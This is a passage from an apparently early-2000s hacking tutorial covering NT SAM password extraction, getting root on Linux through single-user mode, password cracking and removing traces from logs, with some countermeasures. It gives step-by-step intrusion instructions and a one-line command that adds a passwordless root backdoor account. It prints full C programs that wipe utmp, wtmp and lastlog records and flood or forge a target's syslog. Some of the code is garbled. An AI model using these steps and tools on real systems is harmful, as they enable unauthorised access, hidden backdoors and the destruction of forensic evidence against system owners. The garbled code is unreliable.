which are unresolved by DNS. Matches hosts, which are resolved by DNS. Matches hosts whose names do not match with its IP.

******************* HACKING TRUTH: To allow access to all services to all systems within your local domain, enter the following line in your /etc/hosts.allow: ALL : LOCAL ********************

The Secure But No Service Providing System The thing to remember here is that the hosts.allow file is checked first and then the hosts.deny and access is allowed only if no match is found in the hosts.deny file Thus, in order to restrict all services or disallow all services to all hosts, then enter the following line in the hosts.deny file: ALL : ALL The hosts.allow file should contain the service name and the hosts to which access should be allowed. Also, we would certainly like to be able to access all services running on our own machine from our own machine. Thus, in the hosts.allow file, enter the below line: ALL:localhost Say you want to be able to access the FTP daemon from abc.com, then enter the following line: in.ftpd : abc.com However, say you want to disallow hosts coming from the isp.net domain, and allow all other hosts to access the telnet daemon, then enter the following line: in.telnetd : ALL EXCEPT isp.net TCP Wrappers have a lot more interesting options and features; the above was just an introduction to them.

Attacks on Password Files

Once an attacker is successfully able to get root on a target system or get administrator privileges on the target system, then the first thing that he likely to try and do is, crack the administrator (root) password. Another thing that an attacker is likely to try and do, is to install a backdoor on the compromised system, using which, he can enter and leave the system, as and when he wishes to do so. However, before he can get down to installing backdoors on the compromised system, he must have administrator (root) privileges on it. However, if a system has already been compromised, then the attacker would actually already have got administrator (root) privileges on it. Nonetheless, attacks on the password files or attempts to get the administrator password or passwords of even other normal users is somehow the most common attack that a compromised system and even an un-compromised system is likely to face. In this section, we discuss just that: Attacks on Password Files and their countermeasures.

Getting the NT administrator password

So you got administrator privileges on a NT box and now want to take over the entire Network, but for that you need to get the list of accounts that you would use and their respective passwords. So, what do you do? The NT Security Accounts Manager or the SAM holds the key, and this section explores how exactly you would go about the process of extracting and cracking passwords from the Windows NT SAM and all the other related information. The NT Security Accounts Manager or the NT SAM is to Windows NT what the /etc/passwd file is to Unix systems. The SAM stores the list of usernames of all accounts and their respective passwords in encrypted form of all Local Users or of all users on that particular domain. (Varies according to what that particular system is being used for.) Cracking the SAM or in other words cracking the encrypted passwords stored by the SAM is all you need to do in your quest to control the entire Network.

Although the latest encryption algorithm implemented by Microsoft NT is quite good, there is however a flaw in it. In reality, this flaw is nothing more than a backward compatibility feature, which can easily be exploited to crack the passwords. It is important to note that Microsoft has adapted this new algorithm, only quite recently. Earlier, Microsoft used to implement a one-way encryption system or in other words, hashing. Now even the newer versions of the Windows NT operating system, in order to maintain backward compatibility with the older versions, like Windows 9x etc have to store the old hash along with the new one. The older hash function i.e. the password stored in encrypted form, where the encryption has been done using the older one-way encryption system, has already been reverse engineered or cracked. This is widely used to crack the NT passwords. L0phtcrack is the utility, which we will be using in this section, to crack the Windows NT passwords. It is available at http://www.l0pht.com/l0phtcrack L0phtcrack is probably the most easy to use and the most effective utility available to crack NT passwords. L0phtcrack has first got to be feed SAM data, which is extracted and then fed into it, in various ways. L0phtCrack can import the required SAM data in many forms. It can extract the SAM data from raw SAM files, from compressed backup SAM files (SAM._), from remote systems using administrator access and even by sniffing hashes being transferred over networks. Before one actually gets down to using L0phtCrack, one needs to obtain the SAM file. Microsoft uses a file called SAM to store the SAM data on Windows NT. This file can be found at: %systemroot%\system32\config This particular directory is locked throughout the time when Windows NT is running. The information stored by this file has actually been extracted from the Windows NT registry. The original source of the data stored by this file is the following registry key: HKEY_LOCAL_MACHINE\SAM This key cannot be accessed by any account. Even the administrator account does not allow access to it. However, like all security features this feature too can be over-ridden. In fact there are several ways of getting the SAM data, and in this section, I will try and elaborate on all of these methods. Getting the SAM from the Backup directory When you use the NT Repair Utility (rdisk) with the /s argument to backup the important information regarding the system configuration to a floppy disk, then a compressed copy of the SAM data file is created in the %systemroot%\repair directory under the filename: SAM._ Although a good system administrator will not forget to delete this file, however, in some cases inexperienced system administrators do tend to forget to delete it. As this backup copy of the SAM file is in the compressed form, you need to expand it before you can use it. One can expand the compressed back copy of the SAM using the following command: C:\>expand sam._ sam NOTE: If you use the latest version of L0phtCrack, you need not go through the process of expanding the compressed backup copy of the SAM, as there is a built in option, which automatically does it for you. Countermeasures

1. One simply countermeasure for such a method of obtaining the SAM file from the backup
directory is to simply delete the backup copy of the SAM file, which has been created. Routine checks should be performed to ensure that such compressed, backup copies do not exist.

Getting the SAM via another Operating System The concept behind this method is the fact that the SAM file is locked throughout the time Windows NT is running. Thus, in other words, this means that access to the SAM file should not be restricted when Windows NT is not running. This means that, all one needs to do is, boot into an alternate operating system and then obtain the SAM file. The most commonly used operating system, for such a purpose would be DOS running on a floppy, which has the COPY utility on it. Thus, what one needs to do is create a bootable floppy, which has DOS running on it. Then one needs to change the BIOS settings and enable boot from the floppy disk. Once the system has booted into DOS, one could easily use the copy command to obtain the SAM file. This process can be recapitulated in the following steps-: 1. 2. 3. Create a floppy, which is bootable and has DOS running on it. Also make sure that the copy command is also available on the floppy. Edit the BIOS settings and enable the Boot From Floppy option. Once you have booted into DOS (using the floppy), and then use the copy command to obtain the SAM file.

However, this process is not as easy as it above, but again not too difficult. One needs to understand that, more often than not, a target system running Windows NT would be running on an NTFS-formatted partition. This means that in the step where we create a bootable floppy with DOS and the copy command loaded in it, one has to make sure that this floppy is capable of reading NTFS partitions. There is a NTFS file system driver called NTFSDOS, which will do the trick in such scenarios. It basically works by mounting NTFS partitions as logical drives, in effect, making all the files on the target system vulnerable to being read (including the SAM file). This nifty utility is available at: http://www.sysinternals.com/ ********************* HACKING TRUTH: NTFSDOS makes all files on the target system vulnerable to being read. But what if you want to be able to write to the target systems hard disk too? For this, the NTRecover and NTLocksmith utilities are needed. One can obtain these two tools again from http://www.sysinternals.com ********************* There is yet another way, in which booting into an alternate OS can be helpful. One could also boot into a Linux boot disk and carry out the same above procedure of copying the SAM file. Countermeasures 1. One should disable the boot from the floppy drive option in the BIOS. On top of that, password protecting the BIOS is not such a bad idea. Although BIOS passwords can easily be cracked, but still, the usage of BIOS passwords, makes the job more difficult for the cracker.

Extracting Hashes from the SAM This method requires for the attacker to have administrator privileges on the target system. If this is the case, then you could easily dump the password hashes from the SAM hive in the registry into a UNIX password file format. (i.e. The format followed by the /etc/passwd file. For more information read the next section on Attacks on the Unix Password File.) The most commonly used utility, which can accomplish this task, is pwdump. The newer versions of L0phtCrack have an in-built feature, which extracts hashes directly from the registry.

Countermeasures 1. Until Service Pack 2 was released, Windows NT was using a 40-bit encryption key. However, this was easily and widely cracked. With the release of Service Pack 2, a new feature was introduced, which was aimed at enhancing the SAM encryption. It was called SYSKEY. It replaced the original 40-bit encryption key with the 128-bit encryption key. One can run SYSKEY by the following the below process: a) Click on Start > Run b) Type syskey (without the quotes) in the space provided. Both pwdump and L0phtCrack fail to surpass the encryption key established through the use of SYSKEY. However, a system administrators nightmares do not end there. Even systems where SYSKEY, is being used, there certainly exists a method by which an attacker can surpass SYSKEYs enhanced encryption key. Pwdump2, the newer version of pwdump can easily be used in such a scenario. General Countermeasures to make an attackers job tougher 1. If the attacker is using L0phtcrack, then performing the following trick can help to make the cracking of passwords tougher. L0phtcrack does not show Nonprintable ASCII characters or in other words, is unable to display Nonprintable ASCII characters. What this means that if certain Nonprintable ASCII characters are placed in a password, then they are not showed when viewed in L0phtcrack. Thus, one should have a policy in the entire network, wherein every user must have at least 2-3 Nonprintable ASCII characters, as being a part of the actual password. Although, this would mean that the users would have a tough time remembering their passwords, however, it would be a small price to pay for greater security. Some examples of Nonprintable ASCII characters are: (NUM LOCK) ALT-255 or (NUM LOCK) ALT-129

Other Popular NT holes The Getadmin Exploit Besides playing with the SAM, the most widely used NT exploit, is the getadmin exploit. It is basically a utility, which adds a user to the local Administrator group. It uses a process called DLL injection to edit a process (winlogin), which has the ability to add users to the Administrator group. For complete details and information regarding the getadmin exploit visit: http://www.ntsecurity.net/security/getadmin.htm Countermeasures A post SP-3 hotfix has fixed the getadmin hole. For more information regarding the fix and the exploit, read Knowledge Base article Q146965 at Microsofts site. The sechole Exploit Another popular Windows NT exploit is the sechole exploit. It too has working similar to the getadmin exploit and adds a user to the Administrator group. . For complete details and information regarding the getadmin exploit visit: http://www.ntsecurity.net/security/sechole.htm Countermeasures One can easily fix the sechole hole by following fix made available by Microsoft. For more details read Knowledge Base article Q190288 at Microsofts site.

Attacks on the *nix Password File

Unix is considered to be the most secure OS. The method used to store passwords is definitely more safe and secure in Unix systems. In most Unix systems you will find that the passwords are stored in file called 'passwd' which is located at /etc/passwd. Throughout this section, at each step, no matter what we do, we would either directly or indirectly doing something, related to this password file. Getting Root on a Linux machine Before we move onto the part, where we learn everything about the *nix passwords file and how one can manipulate it, let us first learn, as to how one can get root on the most widely used form of Unix: Linux. Root is nothing but sort of a super user, who has maximum privileges, and can do whatever he wants to do on a system. Root is to *nix what administrator is to Windows NT. If you get root then you can practically control each and every aspect of the system. You could for example, remove accounts, delete files, disable daemons, and even format the entire system. Warning: The next few paragraphs are strictly for newbies, so no flaming please!! In this section, we are not going to run any C program nor are we going to do any kind of coding but we will simply exploit a small vulnerability existing in a feature which comes along with Linux. This will work almost 9 times out of 10, however, if you plan to use this technique to get root on your ISP, then simply forget it pal! The technique explained below is quite common and an average system administrator would probably be smart enough to cover up this security loophole. But still it is definitely worth a try. Before we get to the main steps, one should remember that in order to exploit this basic loophole existing in Linux, the attacker must have physically access to the target system. Method 1 Thus, in order to get root on a Linux system with physical access, using a very basic loophole, simply follow the below steps: 1. 2. 3. 4. 5. 6. Boot the target system and wait for the LInux LOader or LILO Prompt to come up. At the LILO prompt type linux single (without Quotes) or linux 1 to get the root shell where you can practically do anything. Once Linux single is running, you get the root shell where you can type absolutely any command, which is accepted by the default shell on your system. At this prompt, type linuxconf. This will bring up a blue screen, which is actually the Linux Configuration Utility. Click on Users > Root Password. This will give you access to the Password lists or in other words allow you to change the root password!!! If you scroll down further, and you will find that you could also add new accounts with root privileges, using the linuxconf utility.

The linux config utility is certainly not a hole in Linux. It was actually designed to help, if the root password was forgotten.

Method 2 In the first method, we typed linuxconf in the bash shell prompt, however, we could type the following, in order to create a new account with root privileges and without any password: echo ankit::0:0::: >> /etc/passwd This command will do nothing but edit the /etc/passwd file, which is the password file which stores the Passwords and Usernames of all accounts on the machine. One thing to remember here is that you can edit the /etc/passwd file only if you are logged in as root, however, in this case we are not logged in as root, but still we are able to edit the password file, as we have booted into linux single, which gives us the root shell. To fully understand as to how the above command worked, one needs to first know the structure of the /etc/passed file. A typical line from the Unix password file, is as follows: ankit:my_password_in_encrypted_form:2:3:Ankit Fadia:/home/ankit:/bin/bash The above extract from the Unix password file, can in turn be broken up into: Username: ankit Encrypted Password: my_password_in_encrypted_form User number: 2 Group Number: 3 Actual Name: Ankit Fadia (Optional) Home Directory: /home/ankit (Optional) Type of Shell: /bin/bash (Optional) Coming back to our command, it is important to note that in our command, we have not included the optional fields and the password field of a typical password file line. Our command is as follows: echo ankit::0:0::: >> /etc/passwd This above command, can also be rewritten as: Username: ankit Encrypted Password: User number: 0 Group Number: 0 Actual Name: Home Directory: Type of Shell: Thus, the command that we typed did nothing but create a new account with root privileges and without any password. Such a technique can be used to create new accounts with root privileges, which can then be used as backdoors into the system. Method 3 This method acts as a continuation of Method 2, after the point at which you launch linuxconf and are greeted with the shell prompt. The steps to be followed in this method are as follows: 1. After launching the linuxconf, since you are in the root shell, launch your favorite editor (eg vi) and open /etc/passwd in it.

2.

Delete the encrypted text between the first two colons in the line, which contains the entry for root. This will not create a new account with root privileges, but will change the password of the root, to null. The bottom line being, that this method will get you a root account without any password. Once you have removed the encrypted password, then, at the prompt, type init 3 to switch back to the normal start up or else for a graphical start up type: init 5.

3.

Say you do not want to create a new account, but want to change the root password so as to teach the system administrator a lesson. What do you do? One has to simply, use the passwd command followed by the new password. As you are in the root shell, the root password will change to the new one that you supply. Countermeasures against the above three methods 1. The best way to counterattack such simply attacks, is to password protect linux single. One can easily password protect linux single, by following the below steps-: a) Launch your favorite editor like vi and open /etc/LILO.conf.

b) Add the following line, in a new line, after the first line: Restricted password_goes_here (The above is actually: Restricted followed by a space and following by the password that you choose.) c) d) Save and close the editor. At the prompt then type: LILO. This will execute the /etc/LILO.conf file, so as to make the changes.

Once you have followed the above steps, then the next time, you type linux single, at the LILO prompt, you will be asked the password that you typed in the above file. This makes the job of the attacker tougher. Unix Password Files We have already seen that a typical line from a Unix password file (i.e. /etc/passwd) is as follows: ankit:my_password_in_encrypted_form:2:3:Ankit Fadia:/home/ankit:/bin/bash In the above line, the encrypted password field contains the password of the user, ankit in encrypted form. The encryption algorithm used to encrypt a users password, which is then stored in the password file, is a one-way algorithm. This means that the encrypted form of a Unix password cannot be reverse engineered or decrypted by reversing the algorithm, which was originally used to encrypt the plaintext password. Another thing to note here is the fact that the above line is from an un-shadowed password file. A typical line from a shadowed password file, would be as follows: ankit:*:2:3:Ankit Fadia:/home/ankit:/bin/bash We already know that in a normal or an un-shadowed password file, the password field, contains the password of a particular user, stored in encrypted form. However, shadowed password files are different from un-shadowed password files in the respect that, in the case of shadowed password file, the password field does not contain the encrypted password, but instead contains a special token. In other words, all

password fields, of all lines in a shadowed password file, are replaces with tokens. In our example above, the token used to replace the password field is the asterix sign i.e. *. Also, in the case of a shadowed password file, the encrypted passwords are stored in yet another file, which is not readable by normal users. For Example, Other examples of a token which can be used to replace the password field in the password file, are $, #, Same as username, % etc. ********************** HACKING TRUTH: If the Method 2 of getting root on a Linux box is being carried out on a system with a shadowed password file, then the command used would become: echo ankit::0:0::: >> /etc/shadow ********************** Cracking the Unix Password File The first step in order to successfully crack a Unix password file, is to un-shadow the password file. This means that we have to convert the shadowed password file into the un-shadowed form. The following program, which was also published in The Unofficial Guide To Ethical Hacking, would convert a shadowed password file into its un-shadowed form: ---------------Source of this program: Unknown struct SHADOWPW { char *pw_name; char *pw_passwd; int pw_uid; int pw_gid; int pw_quota; char *pw_comment; char *pw_gecos; char *pw_dir; char *pw_shell; }; struct passwd *getpwent(), *getpwuid(), *getpwnam(); #ifdef elxsis? /* Name of the shadow password file. Contains password and aging info * #define SHADOWPW "/etc/shadowpw" #define SHADOWPW_PAG "/etc/shadowpw.pag" #define SHADOWPW_DIR "/etc/shadowpw.dir" /* * Shadow password file pwd->pw_gecos field contains: * * <type>,<period>,<last_time>,<old_time>,<old_password> * * <type> = Type of password criteria to enforce (type int). /* see getpwent(3) */

* BSD_CRIT (0), normal BSD. * STR_CRIT (1), strong passwords. * <period> = Password aging period (type long). * 0, no aging. * else, number of seconds in aging period. * <last_time> = Time (seconds from epoch) of the last password * change (type long). * 0, never changed.n * <old_time> = Time (seconds from epoch) that the current password * was made the <old_password> (type long). * 0, never changed.ewromsinm * <old_password> = Password (encrypted) saved for an aging <period> t * prevent reuse during that period (type char [20]). * "*******", no <old_password>. */ /* number of tries to change an aged password */ #define CHANGE_TRIES 3 /* program to execute to change passwords */ #define PASSWD_PROG "/bin/passwd" /* Name of the password aging exempt user names and max number of entir #define EXEMPTPW "/etc/exemptpw" #define MAX_EXEMPT 100 /* Password criteria to enforce */ #define BSD_CRIT 0 /* Normal BSD password criteria */ #define STR_CRIT 1 /* Strong password criteria */ #define MAX_CRIT 1 #endif elxsi #define NULL 0 main() { struct passwd *p; int i; for (;1;) {; p=getpwent(); if (p==NULL) return; printpw(p); } } printpw(a) struct SHADOWPW *a; { printf("%s:%s:%d:%d:%s:%s:%s\n", a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid, a->pw_gecos,a->pw_dir,a->pw_shell); } ------------------Once the attacker has successfully converted the shadowed password file, into its un-shadowed form, then the next step is to use any of the Unix Password Cracking utilities like Jack the Ripper or Crackjack to get the actually password. One thing to remember here is that such password cracking utilities require a

wordlist, so as to create combinations of alphabets and numbers and characters and then perform brute force password cracking. ******************** HACKING TRUTH: The UNIX Password File is located at different locations, in different distributions and versions of UNIX. In order to find out as to where in your system, is the password file located, simply study the below chart: UNIX Password File Paths (Courtesy of 2600) UNIX Version AIX 3 AIX 3 Path /etc/security/passwd /tcb/auth/files/<first letter of username>/<username> Token ! # * * * * * x * x * * * x * database * *

A/UX 3.0s /tcb/files/auth/?/ BSD4.3-Reno /etc/master.passwd ConvexOS 10 /etc/shadpw ConvexOS 11 /etc/shadow DG/UX /etc/tcb/aa/user/ EP/IX /etc/shadow HP-UX /.secure/etc/passwd IRIX 5 /etc/shadow Linux 1.1 /etc/shadow OSF/1 /etc/passwd[.dir|.pag] SCO Unix #.2.x /tcb/auth/files/<first letter of username>/<username> System V 4.0 /etc/shadow System V 4.2 /etc/security/ Ultrix 4 /etc/auth[.dir|.pag] UNICOS /etc/udb ***************************

Removing Footprints/Traces from a remote system

Once an attacker has compromised a system and reached his goal, then he would then try to remove all traces that he left behind on the compromised system. This chapter talks about how an intruder would try and remove his traces by editing the log files and how one can prevent the intruder from doing so.

Removing Footprints/Traces from a Unix system

From the moment you log into a Unix box, your every move is more often than not being closely monitored and logged. The User which logs in, the commands that he typed, the messages that he sent etc, almost everything that a user does on a Unix system, from the moment he logs in till the moment he logs out, is logged into various log files. Thus, in case of a break in the system administrator can easily study these log files and figure out (i.e. trace) as to who the attacker was, his motive, what all he did on the system, to what extend was the system compromised and whether or not he placed any backdoor or not.

This in other words would mean that if a script kiddie attacker gets root on a Unix system by running a canned exploit and downloads the password file. Then he is most likely to be caught, if he does not take time to remove all traces that he left on the remote UNIX system, which he hacked into. Almost all Unix systems connected to the Internet are definitely running a logging mechanism which logs all the activities of all users who logged into their system. Thus, arises the need to understand the Unix logging mechanism and how one can circumvent the log files and edit them to remove all traces left behind. This chapter will attempt to throw light on just this topic and of course, the countermeasures that one can take to protect his system from such system log file-editing methods. The Syslog daemon The syslog daemon is the daemon, which is used to log all system activity of all users, whether it is kernel messages, system messages, commands, logins/logouts etc. It is this program, which is the dread of all attackers. The function of the syslog daemon is to log all kinds of system activity to a file or to a loghost. However, the question that arises is as to how does the syslog daemon come to know as to where exactly the system activity has to be logged. All Unix systems have a default log files path list, which represents the default paths where the log files would be stored as long as the system administrator does not change these default paths to new customized paths. Thus, in order to obtain a list of paths where various log files are being stored on that particular system, one can to look to the syslog.conf file, which holds the key to this question. You can find the syslog daemon at: /usr/sbin/syslogd ******************* HACKING TRUTH: Actually the syslog daemon is very flexible and allows for the following: 1. 2. 3. 4. Logging of all activity to a particular file. Logging of all activity to a particular log host. Sending of Notifications through the system console. Sending of Notifications through email.

****************** The Syslog.conf File Although syslog is the main daemon which handles logging, however, it is helped and directed by the syslog.conf file to a great extend. It is the syslog.conf file, which tells the syslog daemon as to, which activity has to be logged and also as to, in which file or log host, that particular activity must be logged. In other words, we can say that each time an event takes place, the syslog daemon calls upon the syslog.conf file. This file then searches for an entry corresponding to the event that just took place and returns the full path of the log file, where the occurred event must be logged. Thus we can say that, one can find out as to where their operating system is logging all the user activity, by simply studying the syslog.conf file. This means that to find out the filename or the log host to which the log files are being stored, one simply has to look at the syslog.conf file. The typical structure of the /etc/syslog.conf file is as follows (For a complete description of this file, please read the succeeding sections.): -------------------# Typical modern syslog configuration file. # Log all kernel messages to the console.

# Logging much else clutters up the screen. #kern.* # Log anything (except mail) of level info or higher. # Don't log private authentication messages! *.info;mail.none;authpriv.none # The authpriv file has restricted access. authpriv.* # Log all the mail messages in one place. mail.*

/dev/console

/var/log/messages /var/log/secure /var/log/maillog

# Everybody gets emergency messages, plus log them on another # machine. *.emerg /dev/console # Save mail and news errors of level err and higher in a # special file. uucp,news.crit --------------Before we move onto the explanation of the above syslog.conf file, we need to understand the mechanism of the Event-Log Location pair. A typical syslog.conf files event-log location pair looks like below: event Log Location

/var/log/spooler

Where the spaces, which separate the two, is the tab key and not the spacebar key. Such an EVENT-LOG LOCATION entry in a syslog.conf file means that each time the event EVENT takes place, then it should be logged in the location LOG LOCATION. Let us take some examples to better understand what typical Event-Log Location pair signifies. 1. mail.* /var/log/maillog

This syslog.conf entry means that all mail messages of all levels, should be logged to the file /var/log/maillog. 2. auth.notice /var/adm/authlog

The above syslog.conf entry means that all Authentication attempts should be logged to file /var/adm/authlog 3. *.emerg /dev/console

This entry means that all emergency messages should be displayed to the console. In our example syslog.conf file there are various examples of the event-log location pairs (separated by comments). Some of these pairs, which logs the event-taking place in the log-location specified are: Event *.info;mail.none;authpriv.none authpriv.* mail.* Log Location /var/log/messages /var/log/secure /var/log/maillog

*.emerg uucp,news.crit

/dev/console /var/log/spooler

In the above table, we find that there are certain events, which when occurred are reported on the screen or the console. However, the events in which an intruder would be interested in are those, which are logged to a particular file or log location. Typically, by default, almost all log files are located in the /var/log directory. On getting a listing of this directory, we find that there is a long list of log files, which stores logged data. Some of the main ones would be as below: (Some of the files showed below, also belong to other directories.) Log File /var/maillog /var/spooler /var/secure /var/messages /var/adm/wtmp /etc/utmp /var/adm/lastlogin /var/xferno Use logs Mail Messages News and Mail Errors *TCP Wrappers Log File *logs everything, except mails. *logs all Logins and logouts *Similar to the above log file. *logs information about last logins *yet another logging file

**************** HACKING TRUTH: By Default almost all Unix flavors store the log files in the /var/log directory. However, the system administrator can easily change the syslog.conf file and specify new paths at which the log files must be stored. Thus, if you are not sure as to where the log files are storied, then all you need to do is to study the syslog.conf file. **************** Please note that those log files whose use field is preceded with a * (in the above table) are those log files which are of interest to an intruder, as they are the files which give away his identity, activities and more. An intruder would thus want to edit or manipulate all these files (with the *), so as to remove all traces left by him on the compromised system. However, one thing to remember here, is that system administrators often change the default location of the log files to make the job of finding and manipulating them becomes more difficult for the intruder. Thus, one has to change the C programs given below according to the actual path where that particular log files are stored. Removing Traces from the /etc/utmp file The following C program demonstrates as to how one can remove all traces from the /etc/utmp file by username or user number: ------------------#include <utmp.h> #include <stdio.h> #include <sys/file.h> #include <sys/fcntlcom.h> void usage(name) char *name; {

printf(stdout, "Usage: %s [ username ] or [ tty user number ]\n", name); exit(1); } main(argc,argv) int argc; char **argv; { int fd; struct utmp utmp; int size; int match, tty = 0; if (argc!=2) usage(argv[0]); if ( !strncmp(argv[1],"tty",3) ) tty++; fd = open("/etc/utmp",O_RDWR); if (fd >= 0) { size = read(fd, &utmp, sizeof(struct utmp)); while ( size == sizeof(struct utmp) ) { if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) : ( !strcmp(utmp.ut_name, argv[1]) ) ) { lseek( fd, -sizeof(struct utmp), L_INCR ); bzero( &utmp, sizeof(struct utmp) ); write( fd, &utmp, sizeof(struct utmp) ); } size = read( fd, &utmp, sizeof(struct utmp) ); } } close(fd); } ------------------***************** HACKING TRUTH: Almost all shell prompts maintain a log file of all the commands typed. For Example, the Bourne Shell maintains a log file in each users home directory, with the name: .bash_history. In order to ensure that the attacker leaves absolutely no traces on the compromised system, then he has ensure that all the commands that he typed are manually deleted from the shell prompts log file, by editing the log file in a text editor. **************** Removing Traces from the /var/adm/wtmp and /var/adm/lastlogin files The following C program demonstrates as to how one can remove all traces from the /var/adm/wtmp, /var/adm/lastlogin and /etc/utmp files by username or user number: ----------------------

/* invisible.c - a quick hack courtesy of the rogue */ /* erases your presense when root, or partially erases when on a sun and not root */ #include <fcntl.h> #include <utmp.h> #include <sys/types.h> #include <unistd.h> #include <lastlog.h> main(argc, argv) int argc; char *argv[]; { char *name; struct utmp u; struct lastlog l; int fd; int i = 0; int done = 0; int size; name = (char *)(ttyname(0)+5); size = sizeof(struct utmp); fd = open("/etc/utmp", O_RDWR); if (fd < 0) perror("/etc/utmp"); else { while ((read(fd, &u, size) == size) && !done) { if (!strcmp(u.ut_line, name)) { done = 1; memset(&u, 0, size); lseek(fd, -1*size, SEEK_CUR); write(fd, &u, size); close(fd); } } } memset(&u, 0, size); fd = open("/var/adm/wtmp", O_RDWR | O_TRUNC); if (fd < 0) perror("/var/adm/wtmp"); else { u.ut_time = 0; strcpy(u.ut_line, "~"); strcpy(u.ut_name, "shutdown"); write(fd, &u, size); strcpy(u.ut_name, "reboot"); write(fd, &u, size); close(fd); } size = sizeof(struct lastlog); fd = open("/var/adm/lastlog", O_RDWR); if (fd < 0) perror("/var/adm/lastlog"); else {

lseek(fd, size*getuid(), SEEK_SET); read(fd, &l, size); l.ll_time = 0; strncpy(l.ll_line, "ttyq2 ", 5); gethostname(l.ll_host, 16); lseek(fd, size*getuid(), SEEK_SET); write(fd, &l, size); close(fd); } } ----------------------One can check to see whether or not the above program has been successful or not, by following the below procedure: 1. 2. 3. Use the who ./wtmp command to get a list of users logged in currently before running the above program. Execute the above C program using a username or user number. Again type in the who ./wtmp and you will see that in username or the user number with which the above C program was run, does not show in the output.

Removing Traces from the /var/secure, /var/messages and /var/xferno files Removing all traces left behind in these log files, is as simple as below: 1. 2. 3. Open the log file from which you want to remove the trace in vi or emacs. Manually edit the part that you wish to remove. Exit and Save the File.

Log Cleaning Countermeasures In the above section, we have already seen as to how easily an intruder can use some basic Unix commands and C programs to edit the log files and remove all traces of a particular user or session. If the intruder is skilled enough, then he could actually remove all traces of the break-in and remain untraced for months together, without the system administrator even having the slightest idea that his system has been compromised. However, if one employs the below countermeasures, then one can actually make it tougher for the intruder to edit the log files and remove all traces of his session. However, one must remember that there is no way one can stop the intruder from deleting the entire log files, however this is quite unlikely, as such a thing is surely to attract the attention of the system administrator, which the intruder would not want should happen. 1. Implement Secure Logging: One should try and use secured or encrypted log files. What this means is to use system-logging utilities, which rather than storing the log files in plaintext, encrypt the log data, hash it, and then store it. One such popular tool is msyslog, which promises to be a replacement for syslogd and klogd, with the added advantage of being more secure and being able to store the log files in encrypted and hashed forms. Get the msyslog utility at: http://www.core-sdi.com/soft/msyslogv1.01.tar.gz. 2. Using Append-Only Log Files

One should try and implement log files in append mode only. This means that entries cannot be removed from the log files, but only more entries can be added to them. This means that the intruder can only add entries to the log files and not remove any entries. However, this solution is not a foolproof one. 3. Many system administrators run a script on their system, which is on an infinite loop and which copies the various log files from main server to a secure backup server from time to time. This means that from time to time this script copies the original log files from the main server to the backup server. Although such a script does indeed help, one has to keep in mind the fact that the intruder can easily edit or manipulate the original log files on the compromised server, hence even the log files copied to the backup server, would have wrong or faulty entries, which are like to have been entered by the intruder. The following C program demonstrates as to how an intruder can send forged or bogus data to the compromised system, hence filling up the log files with bogus and misleading data: ---------------------SYSLOG Fogger - Fill Disk Space, Send Messages, Whatever. v1.1 - Written by Matt (panzer@dhp.com) #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define MAXLINE 512 dg_cli(fp, sockfd, pserv_addr, servlen) FILE *fp; int sockfd; struct sockaddr *pserv_addr; int servlen; { int n; char sendline[MAXLINE], recvline[MAXLINE+1]; while(fgets(sendline, MAXLINE, fp) != NULL) { n = strlen(sendline); if (sendto(sockfd, sendline, n, 0, pserv_addr, servlen) != n) { fprintf(stderr,"dg_cli: sendto error on socket\n");exit(1);} } if (ferror(fp)) { fprintf(stderr,"dg_cli: error reading file\n");exit(1);} } main(argc, argv) int argc; char *argv[]; { int sockfd; struct sockaddr_in serv_addr, cli_addr; if (argc != 2) { printf("\nSYSFOG v1.1 - (written by panzer@dhp.com)\n"); printf("Usage: %s target-ip-number\n",argv[0]); printf("\n-- Reads STDIN, sends to \"target-ip-numbers\" ");

printf("syslog daemon.\n"); printf("To send certain types of messages, use the number found\n"); printf("below in brackets. IE, \"<0>This is a LOG_EMERG\"\n"); printf("-----------------------------------------------------------\n"); printf("From SUNOS /usr/include/syslog.h\n"); printf("-----------------------------------------------------------\n"); printf("LOG_EMERG 0 /* system is unusable */\n"); printf("LOG_ALERT 1 /* action must be taken immediately */\n"); printf("LOG_CRIT 2 /* critical conditions */\n"); printf("LOG_ERR 3 /* error conditions */\n"); printf("LOG_WARNING 4 /* warning conditions */\n"); printf("LOG_NOTICE 5 /* normal but signification condition */\n"); printf("LOG_INFO 6 /* informational */\n"); printf("LOG_DEBUG 7 /* debug-level messages */\n"); printf("-----------------------------------------------------------\n\n"); exit(0); } bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = inet_addr(argv[1]); serv_addr.sin_port = htons(514); /* Open UDP socket */ if ((sockfd=socket(AF_INET, SOCK_DGRAM,0)) <0) { fprintf(stderr,"sysfog: Can't open UDP Socket\n");exit(1);} bzero((char *) &cli_addr, sizeof(cli_addr)); cli_addr.sin_family = AF_INET; cli_addr.sin_addr.s_addr = htonl(INADDR_ANY); cli_addr.sin_port = htons(0); if (bind(sockfd, (struct sockaddr *) &cli_addr, sizeof(cli_addr)) <0) { fprintf(stderr,"sysfog: Can't bind local address\n");exit(1);} dg_cli(stdin, sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); close(sockfd); exit(0); } -------------------

Removing Footprints/Traces from a Windows NT system

An intruder can easily remove all his traces from a compromised Windows NT system, by simply manually clearing the entire Event Log, using the Event Viewer tool. However, if one tries to manually clear the log file through the Event Viewer, then the message saying, Event Log cleared is also added to the event log file. Thus, the system administrator would immediately come to know that something is wrong. A better alternative is the use of tools like Elslave, which will clear the Event Log file on a Windows NT system. However, again there is the risk of the system administrator finding out that something is wrong.

Trojan/Key Logger Attacks

A Trojan is nothing but a tool, which when installed on a system, can be misused for malicious purposes by the attacker. It is a program, which the attacker installs on the target system with the help of trickery or by inserting the malicious Trojan code into a trusted normal tool or by having physical access to the target system. Trojans are malicious programs, which are capable of doing a lot of harm to the victim, if the attacker is skilled enough. Trojans have many harmful features attached to them, some of which are: 1. Certain Trojans act as RATs or Remote Administration Tools and allow the attacker control and access over everything on the target system, from the CD Rom disc open and close function to access to the configuration files, from access to private data to practically everything else. Thus, the victim not only loses all control over his system, but also loses his privacy. Such a Trojan thus, provides the attacker access to the target systems hard drive, to which he can upload and download absolutely everything. Certain Trojans also have inbuilt Key logger capabilities and are used to get a log of all characters typed and all movements made on the target system. Key-logger Trojans are programs, which record all keystrokes made by the user on that particular system in a predefined log file. Such Trojans also record the name of the window, in which the data was typed. They are programmed such that they email this log file, containing all 